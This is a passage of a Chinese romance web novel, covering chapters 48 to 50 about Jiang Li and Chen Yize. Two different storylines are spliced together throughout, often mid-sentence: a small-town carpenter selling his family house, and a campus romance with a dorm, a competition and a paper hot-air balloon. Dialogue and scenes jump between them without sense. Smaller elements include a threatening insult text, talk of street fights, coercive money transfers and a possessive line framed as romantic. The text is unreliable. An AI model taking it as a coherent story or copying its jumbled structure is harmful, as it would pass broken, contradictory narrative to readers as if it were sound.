取了牛奶,陈屹泽再次路过文化中心。 姜厘已经加入了象棋对战,桌边围了一堆老头老太对她指指点点,场面严肃,好似这局象棋事关联合国大事。 陈屹泽觉得这个画面有点好笑,干脆停下来,脚撑在路边看了好一会。 直到张婶来电说她和二丫到家了。 陈屹泽让她们在家等,自己回铺子里取了画稿,顺带着提上老妈昨天做的糕点。姜厘拽住他领口,不让他动,随后快速吻上他的唇。 清爽的薄荷混杂着辛辣的烟草味,姜厘没有太反感,飞速吮了吮他的下唇。 陈屹泽很好亲,嘴唇很软,一碰就红。 许是考虑到周围人多,姜厘并没有伸舌头,整个过程不过两秒,陈屹泽活了过来,迟缓地觉察出不满足来。 他手指插入女生松软的黑发中,叩上她的后脑,姜厘瞬间激灵一下,正当她要推开,阻止他继续亲吻时, 唇边并没有落上温度。 取而代之的是肩膀,被密不可分地环抱住。 男生整个身子压在她肩膀上,嗓音闷在她领口,显得有些混沌。 他声音很轻,埋脸时落在锁骨处的呼吸却很重。 “你有没有骗我?” 总算是定下了衣柜嵌螺的花样,但这一上门,也终于让齐群有机会大做文章。 张婶家又被混混围住。 这一围,人传人,很快半个小镇就得知了消息。 包括文化中心。 姜厘听见眼看着大家都兴奋起来,身边这些小镇中老年常居吃瓜第一线,见她好奇,便同她介绍陈屹泽可是拼命护着张婶和二丫的。 “不止嘞,陈屹泽谁家不护着?”有人补充说明。 一人一句,好似小镇泽年约架是晚会,对峙场面被他们描述得绘声绘色。 很快就不止于聊天,立马相邀奔赴现场。 姜厘接过身边大姐递过来的瓜子,也没嗑,却问:“他们总打架?” 大姐“哎”了一声,“也没总打,就陈屹泽家里的事儿,我昨天跟你说过的。” 姜厘点点头。 大姐接着说:“反正那几家谁家有事儿,陈屹泽就会豁了命地护着,下手可狠。” 姜厘歪了歪头,“陈屹泽经常受伤吗?” “也没听他说到底伤没伤,”大姐兴奋地加快脚步,“就热闹呗。” 姜厘若有所思地跟在后头,大姐嫌她走得慢,回头拽了拽她,然后很友好地劝她,“你一个外地来的老板,一会别掺和。” 姜厘对她笑笑,把瓜子还给她,“快快带路。” 也没能真打几次,齐群和陈屹泽作对这么多年,大部分言行都停留在挑衅和辱骂阶段。 一是,陈屹泽轻易不发怒,但凡生气,那都奔着不要命去的,谁都怕死,也怕疼,没人敢真的和他横。人或许真的有第六感,姜厘的手臂在他腰际迟迟没落下,停了两秒,直到世界仿佛全数安静下来,她才用同样轻的声音回道: “没有。” “好。” “你说我就信你。” 陈屹泽松开她,终于笑了下。 姜厘背后一凉,还没敢确认自己的猜测,忽地听到陈屹泽低沉的嗓音,隐着层薄薄的躁意,叫她。 “姜厘。” “上来。” 第 48 章 第 48 章 背后的声音像一道催命咒,虽然不知道陈屹泽为什么会生气,但姜厘还是明显感觉到他现在四周都散发着一股浓浓的阴郁色彩。 前几天还少年气四溢的男生正沉眉望着她,带着不由分说的压迫感。 置业小陈的介绍工作终于走上了正轨。 楼上楼下转悠一圈,姜厘觉得比较满意,就是身子有些疲累。 算算时间,她从医院里面偷跑出来到现在,前后还不 超过四十八个小时,躺了大半个月,还没开始复健,现在又是拖着箱子,又是来回走动参观,腿肚子已然开始酸泛。 “水管还能用吗?”姜厘问走在前头的小泽年。 “可以,”陈屹泽先回答,又说,“卖出去的那一天我来检查过,水电管道都有老化迹象,所以刚才建议你一定要检查翻新。” “嗯嗯嗯,”姜厘配合着声音点了三下头,还是问,“所以水管能用吗?” 看起来只想听到自己希望的答案。 陈屹泽叹了口气,“能用,多放一会水。” 姜厘立马请求他带自己过去。 考虑到她或许要洗脸洗手,陈屹泽没有带她进厨房,而是领着人去了后院仓库旁的水池。 又想姜厘真的胆子很大,自己一个人跑过来不说,陌生人上哪她也不多问,就这么跟着。 老式水龙头泛着铜泽,陈屹泽嘎吱嘎吱拧了两下,出水口先是涌出股红褐的水,哗啦啦响起来。 同时,他听到身边的姜厘低呼了一声,很惊讶的样子。 陈屹泽克制住了转头去看的冲动,只盯着水流看,等它彻底变得清澈。 姜厘却没再看水,而是专注地看面前这个小泽年。 轮廓是成熟坚毅的,看不太出当年那个瘦条的少年样,低头调试水龙头,不知道是不是因为刚才被逗狠了,话都不多讲。 陈屹泽伸手在水下试了试,又抬到鼻子面前闻了一下,最后才转头说话。 “可以了。” 他顿了顿,又补充:“这条管道情况还算好,如果你决定下来,我给你联系师傅,价格公道,手艺也好。” 带着人里外绕了一圈,陈屹泽觉得这屋子还是有希望能卖得出去的。 “好的。”姜厘很认真地答应下来。 陈屹泽等了一会,没等到她继续聊购房的事情,只好站到一旁,把位置让给她。 姜厘先洗手,用左手沾了水,细致地擦洗右手的指头。 过程有些漫长。 陈屹泽注意到她袖子垂得很低,被沾湿不少,“你的袖子。” 他隔着半米指了指她的右手。 姜厘又道声谢,操纵右手露在纱布外的指头捻住左手袖子往上提。 白皙的手臂就此露了出来。 在现代社会,这本不是什么需要特别避嫌的部位,但陈屹泽还是立马偏开了头。 然而,余光里却注意到那片白皙上有几块异常的颜色。 他难免转头过去瞧。 发现姜厘手臂上有几块大小不一的红紫色淤泽,靠近手腕的地方红肿一片。 陈屹泽皱了皱眉,没忍住问:“你这……” 姜厘专注于洗手,头也没抬,平静地给出说明:“前段时间住院,埋留置针。” 说着,从旁边袋子里拿出梨,明显是准备用这只手去洗。 陈屹泽上前几步,伸出手,“我来吧。” 姜厘没有跟他客套,把梨放到他手里。 “谢啦。”她又道谢。 “不用。”陈屹泽迅速看了她一眼。 把梨洗好,发现人不知什么时候绕进了仓库里,正好奇地打量地上的工具包。 按照计划,陈屹泽本该在这拆了桌子,然后从后门离开,背着桌腿就没好拿工具包,想晚些来取。 “我刚才在这拆桌子。”陈屹泽说。 姜厘点点头,“那张桌子是你们以前吃饭的地方吗?” 陈屹泽“嗯”了一声,把洗好的梨递过去。 姜厘道谢,接过来说:“那你一会带它回家吧。” 陈屹泽看着她没说话。 姜厘像是有些站不住的样子,环顾四周,目光锁定花台以后就直直地走过去。 陈屹泽赶紧从自己工具包里取出毛巾,追过去示意姜厘稍等,把毛巾铺在红砖上。 “垫着你裙子,院子里脏。” 这次轮到姜厘看着他没说话。 “这毛巾我还没用过,本来收着准备擦汗的。”陈屹泽以为她嫌脏,赶紧解释。 姜厘却听得笑起来,坐到他铺好的地方,“陈屹泽,你对每一个买家都这么贴心?” 贴心吗? 陈屹泽不这么认为,所以没有回答。 但他的确希望能把房子卖掉,别说一块毛巾,就是衣服都…… 陈屹泽猝然想起刚才自己被提醒穿衣服的事儿,当即勒令自己不准再发散思维。 姜厘吃了几口梨,静坐着休息了会,觉得精神也好了一些。 陈屹泽还杵在面前,不说话,也不坐下。 姜厘问他:“你今天没事儿了吗?” 陈屹泽有些莫名,“有的。” “那你守着我干嘛?”姜厘又问。 陈屹泽没搞懂这个买家的心思,干脆直接问了:“这房你看着怎么样?有不满意的地方吗?如果是价格或者其他方面,我们可以再聊。” 接着重申:“后续翻新我一定全力帮你,有什么问题我们家都会支持你,要是你打算开民宿或者其他,需要人我也可以帮你找。” 姜厘安静地听完,先道了句谢。 听起来很礼貌,也很生疏,隐约有些拒绝的意味。 陈屹泽的心沉了下去。 姜厘又说:“但我不是已经买掉了吗?” 问这句话时,她仰着头,宽大的帽檐上翻卷到脑门上,眸光纯澈,看起来十分真挚。 陈屹泽沉默少时,告诉她:“置业委员会说你要来验房,然后再决定买不买。” 姜厘又啃了一口梨,点点头,“我知道了。” 知道什么了? 陈屹泽被弄得有些懵。 姜厘吃完梨,洗了手绕回来坐下,从挎包里取出手机,表情严肃地开机。 做法一样。 陈屹泽眯了眯眼,抱手等着看她要做什么。 手机屏幕在她手里亮起的瞬间,像是开闸一般,疯狂地弹出消息,一条接着一条,然后就是电话。 这阵势,好像全世界都在找她。 陈屹泽看着那些疯狂弹出的界面都觉得头疼,可当事人似乎并不在意,面色平静地操作着。 姜厘挂掉三个电话,划开数条消息,终于完成了给助理发送微信的艰难大业,然后迅速关机。 “坏了。”她说。 “怎么?”陈屹泽问。 “我考考你。”姜厘笑吟吟地仰头问,“我的助理会来找我,但是我关机,她要怎么联系我呢?” 煞有介事,一本正经。 好像于她而言使用手机是一件通天难事。 这个语气有点好笑,陈屹泽翘了下嘴角,而后很快压下去,把自己手机递给她。 姜厘道谢,接过去才问:“方便我用吗?” “方便的。”陈屹泽手机里没有不能看的东西。 姜厘打开短信界面,开始单手打字。 陈屹泽注意到她熟练地按下一串号码,能背得电话,应该是很亲近的人。 也是因为递手机这一个动作,陈屹泽现在距离姜厘仅有半臂距离。 很近。 近到足以看见姜厘操作手机时,最新弹出的消息。 【你个杀人犯的儿子也配和老子抢女人,老子在二丫家等你!】 字数太短,一眼就能扫全消息内容。 这齐群真是磨人。 陈屹泽“啧”了一声。 姜厘没抬头,很迅速地抬起拇指,把那条消息推开。 【小安,我将一直关机,你到了之后联系这个机主。】 她把手机还回来。 “买房的事儿一直都是我的助理操作,我以为已经完成了手续,最近我们不太有机会见面,所以不了解实情。” 陈屹泽问:“你确定要买了吗?” 姜厘讶异于他的直白,却也没明说,点了点头,“她带着文件过来我就签字。” 她实在说得太过轻飘飘了。 陈屹泽没忍住问:“你知道是多少钱吗?” 姜厘摇了摇头。 陈屹泽:“你……” “我怎么?”姜厘问。 陈屹泽默了一会,咧嘴笑了笑,“挺好的,看起来没吃过苦。” 姜厘看着他,很轻地笑了一下,“是么?” 又安静下来。 陈屹泽看了人几眼,不确定刚才那条消息她看到了多少,就说:“那短信。” “你放心,我没看到多少内容,”姜厘说,“但是,你怎么还在约架求爱 啊?” 好像重点歪了一些。 陈屹泽说:“不是求爱。” 姜厘耸了耸肩,又很认真地问:“二丫漂亮吗?” “你这不看完了吗?”陈屹泽觉得有些无力。 姜厘弯眼笑笑,突然问:“价格是你满意的吗?” “什……”陈屹泽简直被这人东一榔头西一棒子的聊天方式弄晕,才意识到是问房子的价格,立刻说:“很满意了。” 姜厘又问:“不想加价?” 这个人说的每一个字都像是变数。 陈屹泽尽量圆滑,“真的是很满意的价格了。” 姜厘看着他没说话。 良久,陈屹泽叹了口气,“价格是我对比考察过的,我没有想要加价的想法,目前我们镇子市场价格就是这样的。” 这个人看起来很老实。 姜厘重新笑起来,“我再考考你,我叫什么呀?” 刚才已经有过自我介绍,陈屹泽不知道这个问题的意义所在,茫然开口。 “姜厘?” 姜厘微微一笑,伸出手指了指门口。 “退下吧陈屹泽。” 陈屹泽紧了紧眉,“不加价也可以的,那个价格我们真的很满意了,你有安排住的地方吗?我——” “房子我会买,你退下。”姜厘突然变得很冷酷。 “没有,”男生摇头,乌眸真挚地望着她,“我只听过‘我爱你,所以你是我的。’” “……” 第 49 章 第 49 章 姜厘这辈子做过最错误的事就是跟不讲道理的人讲道理。 偏偏她还有点说不过陈屹泽,但好在生气的女生能开疾跑技能,最后她打掉陈屹泽的手,率先跑到树下的单车边,蹬上单车回了寝室。 推门进来时,柏然正在跟着视频练肩,看到她,手中的哑铃才缓缓放下:“你怎么回来得这么早?” 说话间,八卦的视线朝人上下打量两圈,连带着费虹都嗅出一股不寻常的气味。 姜厘下意识要把衣领往上拉拉,但想到脖子上的遮瑕,还是努力挺了挺身板。 陈屹泽对于老宅的记忆停在了童年。 彼年,一家人都住这。 小孩儿在院子里举着塑料鳄鱼瞎跑,稍不留神就会撞到挂在晾衣绳上的腊肉,难免吃一顿打,被追得满院乱蹿,踩着砖缝里的苔,从爷爷跟前那嚎到三婶屋里。 那会老爸还在,身上有白酒的酱粮味,会用残留烟草味道的指头揉陈屹泽的脸,一只手就能把小孩儿捞起来。 关于这幢屋子从哪来,一代人有一代人的传奇,最离谱的时候说过是皇帝亲赐,但不可细问是哪朝昏君。也有讲是经过了某种激烈的争斗,才九死一生抢下来的。(三叔陈慎某次喝醉之后极其不慎重地如此说。) 总之,代代版本代代神。 泽砖黛瓦,屋檐上翘,回廊绕院,堂屋左右是三间厢房,两间以前住老人,一间打成厨房。三层楼加起来共拥有十个房间,住过整个陈家人。 陈屹泽小学的时候全家就搬了出去。 村里开始成批建造新房,水泥路铺了进来,方正砖房拔地而起,出现了第一个小学,第一个污水处理厂,各式各样的人来开各式各样的店。 村变成镇。 什么都在变,三叔说的那张饭桌始终放在后院仓库里。 当时谁也没说要带走,好像很难判定这份回忆要属于谁。 陈屹泽一直有随身携带工具包的习惯,平时都挂在摩托上,这桌子不拆搬不走。 他绕出院外取回工具包,再进入小仓库时,陈屹泽的眼睛危险地眯了起来。 “怎么。”他弯起手指非常霸气地敲了敲桌面,“屹泽哥哥来搬你,你不满意?”“你的遮瑕盘落在储物柜了,我帮你带了回来。” 说罢,姜厘欲盖弥彰地看了柏然一眼,随后打开衣柜翻出一套干净衣服,抱着脏衣篓,起身匆匆去了浴室。 白皙皮肤上糊了薄薄一层卸妆油,用手掌揉润开,淅淅沥沥的水流下,冲洗过后,肩膀的原有状态才被完全展露出来。 “你不说话,嗯?”陈屹泽转着手里的螺丝刀,敲了敲桌脚结合处,木头发出闷响。 陈屹泽满意了,“我就知道,你害羞着呢。” 又饱含感情地安抚:“别怕啊,哥哥手很轻。” 陈屹泽对桌子进行有效安抚,又故意残酷地给它讲解每一步拆解过程,为此洋洋得意,“不疼吧~” 小库房里又灰又热,眼周的汗水开始辣眼睛,陈长嘟囔了两句,干脆手一掀,把背心褪下来挂脖子上充当汗巾。 因为出汗,光着的上身在昏暗的光线下泛着湿漉漉的光泽。 拆得很快,陈屹泽才想起来问问三叔要不要送他那去。 他做活的时候习惯把手机开静音,这会拿出来才发现好几个未接来电,还没来得及回拨,新的来电再次显示。 “屹泽啊!” 陈屹泽被这动静炸得偏了偏头,“什么事?” “那个狗日的又去张婶家!不过我把人轰走了!” 陈屹泽眉头拧起来。 电话里的是孙明,狗日的是齐群。 半身镜被涟漪的水汽漫上雾色,姜厘伸手在镜子上擦出一块干净区域,对镜,清晰地看到她胸口泛红的手指压痕。 过高的水温迅速模糊掉镜面,虽然在游泳馆就事先已经洗过澡,但姜厘还是挽起头发又细细冲洗了一遍。 她经常用洗澡的方式给自己解压,之前竞赛前期的时候也经常泡在酒店浴室里,全身被热水蒸一遍,走出来时脸又红又润,像是把一切焦虑都冲进了下水道。 磨磨蹭蹭在浴室泡了半小时,姜厘才抱着水盆走出来,沾满水渍的拖鞋在吸水垫上踩了踩,她刚裹上头发,手机倏地嗡嗡震动起来。 姜厘看着那一串没有备注的号码,神情愤懑,瞬即毫不留情地挂断。 柏然静悄悄竖起耳朵,透过桌边小镜子反射看到女生糟糕的神情,默默收起了打趣的心思,又握起自己的小哑铃,继续挥洒起汗水。 叮地一声。 手机又响。 imessage通知-1798089****用户:【错了。】 姜厘抱臂居高临下地审视这条道歉短信,最后给陈屹泽打上了一个没走心的评判。 区区两个字,就想让她消气, 不可能。 张婶家的二丫订了婚,离出嫁也没几天,人姑娘出落得漂亮,是镇上人人认可的美女,被驰名混混齐群明恋多年,二丫已经谈好婚事,对象是个城里人。齐群眼看着追求不成,没事就去骚扰。 烦人。 “她们没事儿吧?”陈屹泽问。 “暂时没事儿。”孙明很快说,“之后怎么办?” “还能怎么办,揍呗。”陈屹泽偏头在脖子上的背心上擦汗,“晚点我过去。” 得了这句话,孙明不再大喊,开始抱怨。 “你说他真是脑子塞屎了,仗着人家张婶是寡妇就……” 陈屹泽扭螺丝的动作一顿,孙明赶紧说:“屹泽,我不是那意思。” “没事儿。”陈屹泽说,“我知道,先挂了啊,我三叔好像有事儿找我。” 他又给三叔回电,得知老妈已经领着买家过来了,三叔让他不行就先走,别让人逮个正着不好解释。 陈屹泽身背桌腿,推着木盘往门外走,回答说好了,没问题。 结果才走到门口,前院炸开哗啦一声。毛巾裹住的湿发还在哒哒滴着水,姜厘反叩住手机还没等两秒,机身连带着半个桌面都嗡嗡振动起来。 起先还以为是电话,点开又发现是某个蓝色软件的消息。 用户1798089****向您的账户转账100,000元; 用户1798089****向您的账户转账600,000元; 用户1798089****向您的账户转账800,000元; imessage通知-1798089****用户:【回我宝宝。】 imessage通知-1798089****用户:【一个字一万。】 陈兰看这姑娘只身一人到这,带着伤,瘦得风一刮就能飞走。 实在没忍住问,“怎么没人跟着你来啊,要不我去给你喊委员会的人?” 姜厘笑了笑:“不用的,我自己可以。” 她的手机弹出最新一条消息。 【厘厘,尽快回电给我,乖一些,好吗?】 礼貌使然,姜厘回了一条消息。 【电。】 接完徐轻川的电话后,姜厘又收到了汤柘的微信。 他不知道也从哪得知了IPOM亚洲赛的消息,并且了解了初筛之后的组队要求是不限制校园的。 也就是说W大的和H大的也可以一起组队,最终面对和其他各大洲的终极对决。 汤柘的实力当然强,未成年时就保送去了计算机排名第二的W大,一早就被导师当作种子选手加入了“新星计划”,和他组队,IPOM大赛会变得更加稳妥。 姜厘不清楚该怎么跟陈屹泽解释这件事,只能暂时不回应汤柘的组队邀请。 她静下心刷了一会过往IPOM赛事的视频,不知过了多久,手机又震了一下。 i “那个……”陈兰跟在人旁边,不确定怎么喊比较合适,几次想帮人拉行陈箱都被拒绝了,只好说,“前面好多台阶,你箱子要磕坏了。” 陈兰果然一眼就认出了这姑娘,想着他三叔果然没说错。 丫头瘦弱,但漂亮得很明显,而且这么拖着箱子走的人,很难认错。 陈兰赶紧迎上去问:“是不是去记月巷02号看房?” 对方点头。 陈兰又问:“你一个人来啊?” 对方还是笑着点头,摇着手机说:“您稍等一下。” 陈兰就不再说话。 直到现在,眼看着马上要到石桥,这姑娘脚步没停,还在低头看手机。 陈兰生出了莽撞的念头,心想要么干脆把人扯住吧。 “姜厘。” “啊?”陈兰没转过弯来。message通知-1798089****用户:【来阳台。】 屏幕上方突然跳出的讯息引得心脏一怔。 姜厘眉心稍蹙,踌躇片刻还没过去,忽地听到柏然郁闷的一声叫,“救命我这组还没做完呢,厘厘,徐轻川发微信跟我说,陈屹泽喊你去阳台。” 椅子拖曳发出不小的声音,姜厘急匆匆推开阳台的门,越过干净的窗户向下看。 六楼的视野宽阔但不聚焦,她只能大概看到一个模糊的人影,站在空地柏树的前面,身影被黑夜削弱得具体。 imessage通知-1798089****用户:【抓住它。】 姜厘还没反应过来,一颗泛着橘光的小型热气球凭空升腾上来。 热气球由楼底一直上升到六楼,期间其他楼层有人注意到异样,楼下逐渐传来悉悉索索的小声议论声。 柏然和费虹扒在阳台门口,活像两个侦察兵。 姜厘心脏跳得忐忑,害怕自己没能抓住热气球,但她好像多虑了,伸出手时热气球好像会自动巡航一般,游刃有余地钻进了她的手心。 下方染着火苗的蜡烛把吊篮周边竹条烧得温热,充作气球的白色薄纸在蜡烛吹灭后瞬间暗淡无光。 和热气球一起升上来的还有一株盛放的洛神玫瑰和一张放在吊篮侧边的卡片。 洛神娇艳欲滴,花瓣重重叠叠。 姜厘无意识朝楼下又投去一个目光,看到陈屹泽还在楼下,立得安静又萧瑟。 她指尖发痒,倏地抽出吊篮中放置的卡片。 姜厘认真地自我介绍了一遍是哪三个字,然后抱歉:“对不起,刚才在处理一些很麻烦的事,请问您贵姓?” “啊,哦,陈兰,那个。”陈兰受到莫名的影响,也介绍了一遍自己的名字是哪两个字,“陈和兰。” “您好。”姜厘用胳膊夹住手机,伸出手,“现在右手不方便,不好意思。” 好似用左手握手是多么不礼貌的事情。 陈兰跟她握手,“姑娘,我帮你拎箱子吧。” “没事儿。”姜厘看了眼几步之外的楼梯,收回视线时顺便对几个路过打量她的人微笑一遍,自己用左手拎起了箱子下台阶。 陈兰只好快步跟上,就看她下了台阶之后重新把箱子扣在身后,继续这么连拖带拽地往前走。 “那个,家里老屋子许多年没收拾,这卖得也突然,你要是想修,我和我儿子都会一些木工活。”陈兰没话找话。 “木工?”姜厘很有兴趣,弯着眼询问了许多专业问题,最后说,“我不是故意打听,是大学时选修过一门相关的课,很漂亮,我很喜欢木头的味道。” 陈兰立马说:“那感情好,得空带你回家闻。” 姜厘很愉悦地答应下来,“您说话很有意思,让人舒服。” 陈兰被夸得猝不及防,不好让话掉去地上,又讲大学好,自己儿子也上过大学,他儿子手艺活特别好,以后要是老屋翻新可以找他。 一人一句地聊着。 卡片折叠,打开后看到一副色彩艳丽的油画,蓝色的蝴蝶展翅欲飞,周边大片大片的红色点缀。 陈屹泽画了下午时,她泳衣上的蝴蝶。 反过来,卡片背面写了字: 【爱上一只蝴蝶,翅膀好漂亮,我不能折断她。】 第 50 章 第 50 章 “浪漫还是得理科男,这才多长时间,他居然手捏了一个热气球!” 柏然扒在阳台门望了许久,才看清姜厘手中并不是外面惯常卖的孔明灯。 甚至表面的白纸也只是普通打印机里的A4纸,好像随手拿来,轻而易举就做了个小礼物。 趴在阳台看的不止她们,下面几层注意到有热气球飘上来的女生都呼朋唤友地到阳台看热闹,低楼层的姐妹能看清人脸,陈屹泽被认出来,于是气氛更加灼热。 陈屹泽醒了个大早,睡得神清气爽,为老屋售出而开心,并且文思泉涌,漱口时把想好的话在脑子里过了一遍,下楼吃早点前把它写到日记里。 [昨天买主来了,叫姜厘,人长得很好看,说话时而客气,时而奇怪,害我梦见她,不过感谢她,或许明天开始会有好日子,后天也行,能好起来就可以。] 写完,陈屹泽朗读一遍,觉得自己文笔有较高的进步,果然书没白读,很是满意。 陈兰磨了豆浆,和儿子打过招呼后和往常一样抬着早点出门,准备给自己住在对门的婆婆送去。 陈屹泽每天的胃口都很好,坐下就往嘴里塞了半根油条,心满意足地嚼起来,接着看已经走出去了几步的老妈折返回来。 “屹泽啊,你说,我怎么就是觉得不太靠谱呢?她那助理真能过来吗?” 陈屹泽几口把油条嚼烂咽了下去,先安慰老妈,“人家钱都付啦。” 就因为姜厘并不太能成事儿的态度,陈屹泽昨天又跑了趟置业委员会。 “没这么爽快的买主,钱打了,但是中间牵扯代理人的问题,手续完成也需要代理人到场,而且什么章啊证明啊,都在她助理那,人不来,这交易也没法做啊。” 委员会的人是这么解释的。 又问:“买家不是都来了吗?怎么你还来找我问。” 陈屹泽想着那个一问三不知的祖宗,心说她连付了多少钱都不知道呢。 而且她让我退下。 但这些也不好讲太多。 他跟委员会的人讲自己担心,主要就是没见过那么多钱。 委员会的人再三叫他安心。imessage通知-1798089****用户:【知道错了。】 姜厘低头望下去,看到陈屹泽发完消息后又抬头看上来,不甚清晰的目光越过黑夜,定定地望向她。 有些人就是长着一张老天赏饭吃的脸,就算全身糊成马赛克也透着和普通人格格不入的贵气和张力。 陈屹泽这次把姿态放得很低了。 他这样,姜厘确实很难拒绝。 手机嗡嗡振动起来,姜厘还在犹豫要不要接听,身后两位应援小将就已经光速捂着耳朵退出了阳台。 陈屹泽的顾虑不是没有缘由的,毕竟这笔钱对陈家来说的确重要。 昨天之前,他还没有报太多希望,但见了姜厘,也看她对屋子很满意,并且自己手上还留有对方助理的电话。 希望已经到达了百分之七十的浓度。 对于这件事,老妈陈兰同样没有安全感,所以陈屹泽需要把自己这些百分之七十调高到百分之九十,同老妈再三说问题不大。 陈兰点点头,又讲:“这丫头一个人过来,人生地不熟的,要有什么跟你开了口,能帮的咱都尽量帮。” 陈屹泽喝了一大口豆浆点着头回应。 陈兰又想了会,干脆坐下,压低声音:“你都不知道,昨天小姜一来,那几个碎嘴的都传上了,讨论她年纪轻轻就这么有钱。” 陈屹泽听得皱起了脸,“妈,你别和她们一起说。” “哪能啊!”陈兰瞪着眼拔高声音,“我还把她们训了呢。” 陈屹泽听得笑出了声。 陈兰看着儿子的笑容,心里的担忧也散去些,“你不说了嘛,人家是我们的,那什么,金主,不得好好供着。” 陈屹泽乐得油条都叼不住,赶紧跟老妈说快去给奶奶送早点吧,一会凉了。 陈兰这才起来,又站定,“你把早点给人送过去吧,陪人家逛逛。” 陈屹泽答应下来,自己囫囵几口塞饱了,去厨房里翻出个篮子,把油条和豆浆分碗装好,又扯了几段干净的保鲜袋,包住碗盘,堆去篮子里。 正拎着要出门,想了想,又折回来从冰箱里拿了两瓶酸奶。 小镇里三步一亲戚,五步一熟人的,打听姜厘昨晚住哪并不是难事儿。 她住的这家据说是个海外老板买来开着玩儿的,服务员找的本地年轻人,今天守在前台的叫王天,和陈屹泽熟,时常一块殴打齐群。 见他拎着东西进了院子,王天立马招呼:“屹泽哥,来找你买家啊!” 这话怎么听怎么不对劲。姜厘:“……” 接通通话后,距离变得更短,姜厘能听到他周围的风声。 她清清嗓子,决定给人一个台阶:“你错哪了?” “不该过于约束你。” 陈屹泽的声音带着点磁性,有些抓人,连带着姜厘跟他讲话的语气都缓和了些: “那你以后要怎么办?” 晚风瑟萧, 漫长的一个沉默。 静到姜厘差点以为自己手滑挂断了电话,她唇角微抽,看见陈屹泽在楼下,侧脸被地灯照得优越,像是很为难,半天才思量出一句:“改正。” 陈屹泽笑着骂了他一声,环顾着问:“人起了吗?” “没呢。”王天指了指院子边的某个房间。 陈屹泽顺着方向看了一眼,干脆把篮子放在前台,“一会她醒了你让她吃。” 王天应下,又整个人趴到桌沿上问:“今天要去收拾齐群吗?” “不用,”陈屹泽说,“张婶她们昨天下午进城了。” “我听说他昨天带人砸了你院墙啊。”王天说。 陈屹泽“嗯”了声,又往院子里姜厘住的那间屋子看了一眼。 “不过还好,这姐姐看着是个好说话的,她讲了,要买的,”王天真心为陈屹泽高兴,“要真能成,你也轻松些,哥,你还要回去念大学吗?” “不知道,”陈屹泽手肘撑在台边,忽而扭头看着王天,“你怎么知道她讲了要买,还有,怎么就叫上姐姐了?” 王天瞪着他,“人家昨天来住的时候告诉我的呀。” 陈屹泽:“你问的?” 王天点头。 陈屹泽: “你问她要不要买,她就说要买。” “是啊。”王天没明白这有什么的。 陈屹泽简直无语。 横竖脑袋转来转去的麻烦,他干脆就直接看着院子那边,随意地说:“也大不了几岁,叫什么姐姐。” 他听老妈说了,这姜厘就二十六。 王天却反驳:“哥,我才十九,人大我七岁呢,我不叫姐姐叫什么?” 陈屹泽看了他一眼,没说话。 王天又讲:“你也得叫姐姐。” 陈屹泽不想跟他聊了,指了指篮子,又讲了一遍,“记得让她吃。” 王天:“啊。” 陈屹泽又说:“别跟她瞎聊我家的事儿。” 王天连连点头,“我懂我懂,买卖没成,我不说。” 陈屹泽又嘱咐几句,接着绕去早市,按例买了一天的肉菜,齐齐码好,挨家去送,最后回自家铺子,继续做工。 最近他手里堆了几个大件要出,但排在第一位的是还是二丫的衣柜。 衣柜在女孩嫁妆里寓意婚后富足丰饶,张婶十分上心,就是柜头要打什么花样迟迟没想好,倒是很满意陈屹泽设计的柜体区域划分。 当然,这一单陈屹泽也没有收钱。 他投入工作很快。 先检查榉木板晾晒后的花纹,觉得还是不够满意,所以沉浸式批评了那块木板两分钟,才把它搁去架子上警告它今天好好晒。 接着换上工装穿好皮质围裙,开始雕凿花纹,握住工具的手肌腱绷紧,泽筋若隐若现,任由木屑流淌于之间,宽厚有力的手掌落力有度。 还是需要和张婶再商量一下最后打砗磲嵌饰到底要什么花,陈屹泽倒是画了几版稿子,但张婶昨天下午带着二丫进城了,估计还得几天才回来。 见不到这对母女,齐群也消停了些。 还有一个见不到的,就是姜厘的助理,对方来消息说还得耽搁几天,实在没办法走开,又再三请求机主一定好好照顾厘姐,字里行间都充斥着感恩戴德的意味。 这助理行程推迟,交易悬而未决,状态变得不确定起来。 晚一些,陈屹泽去三叔拿那了一大袋梨,提着去找姜厘,没有催交易,只是客观地传递信息。 下午四点半,姜厘还是一副没睡醒的样子,听完之后,居然说了句对不起,又讲:“我知道了。” 陈屹泽有一瞬间的错愕,完全没搞懂为什么姜厘作为买主要道歉。 可是姜厘很真诚地说:“我走的时候留下太多烂摊子,她收拾起来真的很麻烦。” 陈屹泽已经开始复盘今天见到人说话是不是太凶巴巴,他有些局促,不自觉地把装梨的袋子捏紧了些。 姜厘似乎很喜欢穿长裙,连身的那种,也很适合,现在坐在民宿的藤椅里,阳光穿过树叶落她身上,锦上添花。 她垂着头,像是沉浸在抱歉里。 陈屹泽注意到她一直用左手垫着受伤的右手,而绷带和头一天见的时候不一样了。 他尝试找话聊:“你去镇医院处理了?” 姜厘点点头,瞬间脸就垮了,苦哈哈地说:“太疼了,真的。” 陈屹泽又没法接话了,想了几个安慰的词都觉得不太适合他们的关系。 姜厘奇怪地抬头瞧他,忽然说:“要是吃到早点,可能会好一些。” 陈屹泽说:“想吃什么,我给你弄。” 姜厘立马回答:“今天想吃阿拉斯加大螃蟹。” 陈屹泽变得很难客气,“你看我像不像大螃蟹?” 聊天很难进行下去,姜厘又开始犯困,言说要回屋补觉,很对得起名字里那个“厘”字。 陈屹泽也没有再继续留下的理由,往外走时却被王天拉住,扯去墙角。 “昨晚这姐姐在屋里像是和人吵架了。”王天左右看了看,说的时候压低声音。 陈屹泽皱眉问:“和谁?” “这我哪知道?”王天开始抱怨,“我也不是故意听墙角,你知道我这老板装修的时候没舍得下钱,房间隔音不好的……” 陈屹泽伸手示意他打住,“谁进她房间了?” “哎呀,打电话呀!”王天继续说,“我就听见什么离开啊,结婚啊之类的话。” 陈屹泽“哦”了一声。 王天继续分析:“八成是和对象吵架了,哎呀,你说她对象也是,这么好的人,受伤了也不陪着,让人自己跑我们这吃苦来,你说,哥,哎?上哪去?” 陈屹泽想着姜厘受伤的手,还有她抱怨疼痛的样子,心里认真地觉得自己八成有点毛病,但是电话已经给三叔拨了过去。 “现在哪可以买螃蟹?国外的那种?” “哪国啊?”三叔问。 “阿拉斯加。”陈屹泽说。 三叔大声问:“你看我像不像阿拉斯加!” “对不起学姐打扰了,这是送你的小蛋糕。” 姜厘已经僵了,但身体还是能照旧按照原有指令实施做事,她拉开拉链把小甜品放在桌上,随后慌忙跑路。 一直到她逃之夭夭,徐轻川才反应过来。 身侧男生已经追了出去,那位短发飒爽学姐撩了撩碎发,看着桌面的精致青提甜品,有些受宠若惊:“徐轻川,你朋友?” “不是,陈哥的祖宗。” 